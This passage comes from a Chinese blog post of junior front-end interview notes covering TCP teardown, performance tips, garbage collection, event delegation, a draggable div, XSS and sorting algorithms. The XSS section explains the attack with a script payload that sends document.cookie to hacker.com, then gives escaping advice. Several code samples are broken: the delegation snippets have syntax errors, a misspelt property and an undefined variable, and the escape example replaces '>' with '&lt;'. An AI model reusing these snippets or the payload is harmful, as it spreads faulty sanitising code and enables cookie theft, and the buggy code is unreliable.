    这是因为服务端的LISTEN状态下的SOCKET当收到SYN报文的连接请求后,它可以把ACK和SYN(ACK起应答作用,而SYN起同步作用)放在一个报文里来发送。但关闭连接时,当收到对方的FIN报文通知时,它仅仅表示对方没有数据发送给你了;但未必你所有的数据都全部发送给对方了,所以你可能未必会马上会关闭SOCKET,也即你可能还需要发送一些数据给对方之后,再发送FIN报文给对方来表示你同意现在可以关闭连接了,所以它这里的ACK报文和FIN报文多数情况下都是分开发送的。

    六、Web性能优化

    6.1 DNS查询

    • 尽量减少域名,把所有的资源放在一个网站

    6.2 链接TCP协议

    • 连接复用,在HTTP协议请求头里面写一个keep-alive
    • 如果是HTTP2.0 多路复用

    6.3 发送HTTP请求

    • 减少cookie体积
    • CacheControl
    • 浏览器会同时发送多个请求

    6.4 接受响应

    • ETag 304
    • Gzip 压缩 文件越大 效果越明显

    6.5 DOCTYPE

    • 不能不写,不能写错

    6.5 CSS

    • 使用CDN,增大下载的名额
    • CSS放在head,js放在body最后

    七、 超纲题

    7.1 JS垃圾回收

    7.1.1 什么是垃圾

    • 没有被引用的对象可能是垃圾
    • 多个对象相互引用形成环也是垃圾

    7.1.2 浏览器是如何找到垃圾,并回收

    • 标记-清除算法

    从全局作用域开始,把所有遇到的变量都标记上, 然后被标记的变量引用了其他东西就再标记,一直标记到找不到新的东西,标记过程就结束了,最后把没标记的删除。

    • 引用计数

    八、DOM

    8.1 事件委托

    8K版本

    ul.addEventListener('click',(e)={
      if(e.targer.nodeName.toLowerCase === 'li'){
        console.log('点击')
      }
    })
    

    12K+版本

    ul.addEventListener('click', function(e) {
      var el= e.target;
      while (target !== ul) {
        if (target.tagName.toLowerCase() == 'li') {
          console.log('li被点击了');
          break;
        }
        el= el.parentNode;
      }
    })
    

    8.2 用mouse事件实现一个可拖曳的div

    xxx.style.left 1. 一开始是空 2. 自带px,需要parseInt

    var dragging = false
    var position = null
    
    xxx.addEventListener('mousedown',(e)=>{
      dragging = true
      position = [e.clientX,e.clientY]
    })
    
    document.addEventListener('mousemove',(e)=>{
      if(dragging === false){return}
      let x = e.clientX
      let y = e.clientY
      const deltaX = x - position[0]
      const deltaY = y - position[1]
      const left = parseInt(xxx.style.left || 0)
      const top = parseInt(xxx.style.top || 0)
      xxx.style.left = left + deltaX + 'px'
      xxx.style.top = top + deltaY + 'px'
      position = [x,y]
    })
    
    document.addEventListener('mouseup',()=>{
      dragging = false
    })
    

    九、安全押题

    9.1 什么是XSS攻击,如何预防?

    • 恶意代码被执行,这就是XSS
    div.innerHTML = userComment  
    //userComment 内容是<script>$.get('http://hacker.com?cookie='+document.cookie')</script>
    
    • 预防
      1. 不要使用innerHTML,改成innerText
      2. 如果一定用innerHTML,就需要进行字符过滤
        • 把 < 改为&lt;,
        • 把 > 改为&gt;,
        • 把 & 改为&amp;
        • 把 ' 改为&#39;
        • 把 " 改为&quot;
    • 代码 div.innerHTML = userComment.replace(/>/g,'&lt;').replace...

    9.2 CSRF攻击?如何预防?

    十、算法

    10.1 冒泡排序

    function bubbleSort(arr) {
        var len = arr.length;
        for (var i = 0; i < len - 1; i++) {
            for (var j = 0; j < len - 1 - i; j++) {
                if (arr[j] > arr[j+1]) {        // 相邻元素两两对比
                    var temp = arr[j+1];        // 元素交换
                    arr[j+1] = arr[j];
                    arr[j] = temp;
                }
            }
        }
        return arr;
    }
    

    10. 2 快速排序

    function quickSort(arr) {
        if(arr.length <=1){
            return arr
        }
        let left = []
        let right = []
        let current = arr.splice(0,1)
        for(let i = 0;i<arr.length;i++){
            if(arr[i]<current){
                left.push(arr[i])
            }else{
                right.push(arr[i])
            }
        }
        return quickSort(left).concat(current,quickSort(right))
    }
    

    相关文章

      网友评论

        本文标题:2019-07-03 初级前端面试题个人汇总

        本文链接:https://www.haomeiwen.com/subject/wrqhhctx.html